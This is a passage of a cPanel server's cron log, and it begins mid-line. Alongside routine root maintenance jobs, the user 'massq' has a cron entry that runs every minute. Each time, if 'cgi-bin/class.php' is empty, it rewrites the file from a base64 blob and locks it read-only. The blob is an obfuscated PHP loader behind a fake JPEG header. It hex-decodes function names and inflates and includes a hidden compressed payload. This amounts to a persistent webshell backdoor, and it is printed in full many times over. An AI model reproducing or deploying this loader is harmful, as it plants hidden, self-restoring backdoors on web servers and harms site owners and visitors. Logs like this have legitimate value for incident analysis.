KF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:39:01 server CROND[24956]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 10:39:01 server CROND[24957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:40:01 server CROND[25020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:40:01 server CROND[25021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 10:40:01 server CROND[25022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:40:01 server CROND[25023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:41:01 server CROND[25127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:42:01 server CROND[25277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 10:42:01 server CROND[25278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:43:01 server CROND[25343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:44:01 server CROND[25409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:45:01 server CROND[25465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:45:01 server CROND[25466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:45:01 server CROND[25467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:46:01 server CROND[25564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:47:01 server CROND[25736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:48:01 server CROND[25790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:49:01 server CROND[25846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:50:01 server CROND[25908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 10:50:01 server CROND[25909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:50:01 server CROND[25910]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 10:50:01 server CROND[25911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:50:01 server CROND[25914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:51:01 server CROND[26025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
